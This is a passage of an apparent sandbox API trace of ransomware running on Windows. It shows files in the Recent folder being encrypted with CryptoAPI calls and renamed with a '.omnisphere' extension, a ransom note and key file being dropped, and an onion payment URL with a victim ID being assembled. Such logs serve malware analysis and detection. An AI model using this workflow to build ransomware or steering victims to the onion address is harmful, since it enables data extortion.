pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.953] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.953] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.953] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.954] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.954] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.954] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.954] CryptDestroyKey (hKey=0x16395e8) returned 1 [0126.954] CryptReleaseContext (hProv=0x1668c58, dwFlags=0x0) returned 1 [0126.954] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x3c1, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d7c0 | out: lpNewFilePointer=0x0) returned 1 [0126.954] WriteFile (in: hFile=0x28c, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d7d4, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d7d4*=0x524, lpOverlapped=0x0) returned 1 [0126.954] GetProcessHeap () returned 0x1600000 [0126.954] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x2ac) returned 0x16ede48 [0126.954] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\qtePg5pQ8.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\qtepg5pq8.lnk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\qtePg5pQ8.lnk.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\qtepg5pq8.lnk.omnisphere")) returned 1 [0126.955] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\qtePg5pQ8.lnk.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\qtePg5pQ8.lnk.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\qtePg5pQ8.lnk.omnisphere.id" [0126.955] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\qtePg5pQ8.lnk.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\qtepg5pq8.lnk.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0126.955] WriteFile (in: hFile=0x3c0, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d25c, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d25c*=0x524, lpOverlapped=0x0) returned 1 [0126.956] CloseHandle (hObject=0x3c0) returned 1 [0126.956] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0126.956] CloseHandle (hObject=0x288) returned 1 [0126.956] SetEndOfFile (hFile=0x28c) returned 1 [0126.956] FlushFileBuffers (hFile=0x28c) returned 1 [0126.959] CloseHandle (hObject=0x28c) returned 1 [0126.959] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\qtePg5pQ8.lnk" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent") returned 1 [0126.959] GetProcessHeap () returned 0x1600000 [0126.959] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x16ef5e0 [0126.959] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0126.959] GetProcessHeap () returned 0x1600000 [0126.959] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x16d5af0 [0126.959] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x16d5af0, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0126.959] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0126.959] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0126.959] GetProcessHeap () returned 0x1600000 [0126.960] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x16d8088 [0126.960] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x16d8088, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0126.960] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0126.960] GetProcessHeap () returned 0x1600000 [0126.960] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xb0) returned 0x16d8cc0 [0126.960] PathCombineW (in: pszDest=0x16d8cc0, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt" [0126.960] GetProcessHeap () returned 0x1600000 [0126.960] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x16db350 [0126.960] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0126.960] WriteFile (in: hFile=0x28c, lpBuffer=0x16db350*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0d7f4, lpOverlapped=0x0 | out: lpBuffer=0x16db350*, lpNumberOfBytesWritten=0x3e0d7f4*=0x588, lpOverlapped=0x0) returned 1 [0126.960] CloseHandle (hObject=0x28c) returned 1 [0126.960] GetProcessHeap () returned 0x1600000 [0126.960] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16ef5e0 | out: hHeap=0x1600000) returned 1 [0126.960] GetProcessHeap () returned 0x1600000 [0126.960] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xa6) returned 0x162cec8 [0126.960] PathCombineW (in: pszDest=0x162cec8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key" [0126.960] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0126.961] WriteFile (in: hFile=0x28c, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0d808, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0d808*=0x5a0, lpOverlapped=0x0) returned 1 [0126.961] CloseHandle (hObject=0x28c) returned 1 [0126.961] GetProcessHeap () returned 0x1600000 [0126.961] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x162cec8 | out: hHeap=0x1600000) returned 1 [0126.961] GetProcessHeap () returned 0x1600000 [0126.961] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1656628 | out: hHeap=0x1600000) returned 1 [0126.961] FindNextFileW (in: hFindFile=0x16397a8, lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1f8d8f0a, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x1f8d8f0a, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x1f8d8f0a, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x42c, dwReserved0=0x0, dwReserved1=0xd3, cFileName="QXLwmOCK.lnk", cAlternateFileName="")) returned 1 [0126.961] GetProcessHeap () returned 0x1600000 [0126.961] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x9a) returned 0x1656388 [0126.961] PathCombineW (in: pszDest=0x1656388, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="QXLwmOCK.lnk" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\QXLwmOCK.lnk") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\QXLwmOCK.lnk" [0126.961] StrStrW (lpFirst=".omnisphere", lpSrch=".lnk") returned 0x0 [0126.961] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\QXLwmOCK.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\qxlwmock.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0126.961] GetFileSizeEx (in: hFile=0x28c, lpFileSize=0x3e0d7cc | out: lpFileSize=0x3e0d7cc*=1068) returned 1 [0126.961] GetTickCount () returned 0x115fae7 [0126.961] GetTickCount () returned 0x115fae7 [0126.961] GetTickCount () returned 0x115fae7 [0126.962] GetTickCount () returned 0x115fae7 [0126.962] GetTickCount () returned 0x115fae7 [0126.962] GetTickCount () returned 0x115fae7 [0126.962] GetTickCount () returned 0x115fae7 [0126.962] GetTickCount () returned 0x115fae7 [0126.962] GetTickCount () returned 0x115fae7 [0126.962] GetTickCount () returned 0x115fae7 [0126.962] GetTickCount () returned 0x115fae7 [0126.962] GetTickCount () returned 0x115fae7 [0126.962] GetTickCount () returned 0x115fae7 [0126.962] GetTickCount () returned 0x115fae7 [0126.962] GetTickCount () returned 0x115fae7 [0126.962] GetTickCount () returned 0x115fae7 [0126.962] GetTickCount () returned 0x115fae7 [0126.962] GetTickCount () returned 0x115fae7 [0126.962] GetTickCount () returned 0x115fae7 [0126.962] GetTickCount () returned 0x115fae7 [0126.962] GetTickCount () returned 0x115fae7 [0126.962] GetTickCount () returned 0x115fae7 [0126.962] GetTickCount () returned 0x115fae7 [0126.962] GetTickCount () returned 0x115fae7 [0126.962] GetTickCount () returned 0x115fae7 [0126.962] GetTickCount () returned 0x115fae7 [0126.962] GetTickCount () returned 0x115fae7 [0126.962] GetTickCount () returned 0x115fae7 [0126.962] GetTickCount () returned 0x115fae7 [0126.962] GetTickCount () returned 0x115fae7 [0126.962] GetTickCount () returned 0x115fae7 [0126.962] GetTickCount () returned 0x115fae7 [0126.962] CryptAcquireContextW (in: phProv=0x3e0d254, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0d254*=0x1669010) returned 1 [0126.963] CryptImportKey (in: hProv=0x1669010, pbData=0x3e0d1bc, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d260 | out: phKey=0x3e0d260*=0x1639b28) returned 1 [0126.963] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x75, dwBufLen=0x80 | out: pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x80) returned 1 [0126.963] CryptDestroyKey (hKey=0x1639b28) returned 1 [0126.963] CryptReleaseContext (hProv=0x1669010, dwFlags=0x0) returned 1 [0126.963] CreateFileMappingW (hFile=0x28c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x42c, lpName=0x0) returned 0x288 [0126.963] MapViewOfFile (hFileMappingObject=0x288, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x42c) returned 0x1480000 [0126.963] CryptAcquireContextW (in: phProv=0x3e0d244, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0d244*=0x1668460) returned 1 [0126.964] CryptImportKey (in: hProv=0x1668460, pbData=0x3e0d1fc, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d254 | out: phKey=0x3e0d254*=0x1639b68) returned 1 [0126.964] CryptSetKeyParam (hKey=0x1639b68, dwParam=0x4, pbData=0x3e0d238*=0x2, dwFlags=0x0) returned 1 [0126.964] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0d240*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0d240*=0x10) returned 1 [0126.964] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.964] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.964] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.964] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.964] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.964] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.964] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.964] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.964] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.964] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.964] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.964] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.965] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.965] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.965] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.965] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.965] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.965] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.965] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.965] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.965] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.965] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.965] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.965] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.965] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.965] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.965] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.965] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.965] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.965] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.965] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.965] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.965] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.965] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.965] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.965] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.965] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.966] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.966] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.966] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.966] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.966] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.966] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.966] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.966] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.966] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.966] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.966] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 